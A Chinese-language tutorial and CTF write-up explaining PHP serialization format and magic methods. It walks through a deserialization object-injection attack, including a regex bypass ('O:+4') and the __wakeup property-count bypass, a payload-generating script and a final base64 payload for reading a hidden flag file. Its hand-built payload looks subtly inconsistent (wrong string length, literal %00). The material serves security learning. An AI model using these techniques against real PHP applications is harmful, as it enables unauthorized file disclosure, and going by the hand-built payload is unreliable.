什么是PHP序列化
php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。
php序列化的函数为serialize。反序列化的函数为unserialize。
<?php
$a = array("l"=>"lzy","y"=>"yzq","z"=>"zwl");
$b = serialize($a);
echo $b;
>>> a:3:{s:1:"l";s:3:"lzy";s:1:"y";s:3:"yzq";s:1:"z";s:3:"zwl";}
这里a:3
代表是一个数组(array),这个数组有三个元素
s:1:"l";s:3:"lzy";
,这样代表的是一个数组
s:1:"l";
中的s
说明是字符串(string),1
代表key的字符长度,为"l"
s:3:"lzy";
中的s
说明是字符串,3
代表的是内容的字符长度,为"lzy"
<?php
class Test{
public$a = 'ThisA';
protected$b = 'ThisB';
private$c = 'ThisC';
publicfunction test1(){
return'this is test1 ';
}
}
$test = new Test();
echo serialize($test);
>>> O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"%00*%00b";s:5:"ThisB";s:7:"%00Test%00c";s:5:"ThisC";}
#这里面的`%00`都是我加上去的,复制过来是没有的
前面的O
是对象,:4
表示该对象名称有4个字符;:Test
表示改对象的名称;:3
表示改对象里有3个成员。
第一个变量和前面提到的数组的差不多的
第二个变量和第一个变量有所不同,多了个乱码和 * 号。这是因为第一个变量a是public属性,而第二个变量b是protected属性,php为了区别这些属性所以进行了一些修饰。这个乱码其实是 %00(url编码,hex也就是0×00)。表示的是NULL。所以protected属性的表示方式是在变量名前加个%00*%00
第三个变量的属性是private。表示方式是在变量名前加上%00类名%00
反序列化就是把序列化后的变量变回来,这里就先不展开来讲了
魔术方法
大概了解了php序列化和序列化的过程,那么就来介绍一下相关的魔术方法。
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被当作一个字符串使用 #需要返回一个字符串
__sleep 在对象被序列化之前运行 #需要返回一个数组
__wakeup 在对象被反序列化之后被调用
这也没什么好讲的,需要知道什么条件下会被执行就好了,在漏洞等其他方面后面再说
反序列化对象注入漏洞
这里我们以一道CTF题目为例讲一下吧
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
这里创造了一个对象,有一个私有变量$file=index.php
,然后有三个魔术方法
下面是一个条件语句,如果var(GET)存在则对他进行base64解码,然后对他进行正则过滤,如果没被过滤则进行反序列化
这里的正则是判断是否有
O:数字
或者C:数字
,不区分大小
查询资料,发现这个__destruct
,是可以进行利用的
function __destruct() {
echo @highlight_file($this->file, true);
我们可以尝试利用这个魔术变量来显示flag.php
(源码有告诉我们flag在flag.php)
我们前面提到当一个对象被销毁的时候会调用这个魔术变量,那我们是不是可以构造一个对象,让$file
为flag.php,然后让他以高亮的形式返回呢?
想法不错,但是这里有一个__wakeup
,当我们unserialize($var);
的时候会调用它,他把$file
都变成了index.php,那我们就得想办法绕过,这里就可以利用__wakeup()
执行漏洞了
__wakeup()
执行漏洞(一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()
函数) 适用版本: PHP5 < 5.6.25 或者PHP7 < 7.0.10
有了思路,接下来我们发现我们需要绕过正则匹配,我们在O:后加上一个+
就可以绕过这个正则了
还需要注意的是这里对var进行了base64解码,所以我们需要对他var进行base64编码
接下来可以写一个php来输出payload
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
解释一下这个payload吧
先新建一个对象,会调用
public function __construct($file) { $this->file = $file; }
,这样this.file就成了fl4g.php
,对他进行序列化,绕过正则和wakeup,得到没有base64的payload,然后对他进行base64转码,得到最终payload
我这里一开始是用半手工构造的
<?php
class Demo {
private $file = 'index.php';
}
$a = new Demo;
echo serialize($a);
得到O:4:"Demo":1:{s:10:"%00Demo%00file";s:9:"index.php";}
,修改元素个数为2,改index.php为flag.php
然后再base64编码
Tzo0OiJEZW1vIjoyOntzOjEwOiIlMDBEZW1vJTAwZmlsZSI7czo5OiJmbDRnLnBocCI7fQ==
需要注意的是手工注入需要注意private,和protected需要增添%00
最好还是直接构造php来输出payload吧…
挖坑
接下来再找一点题目来试试吧,以后补上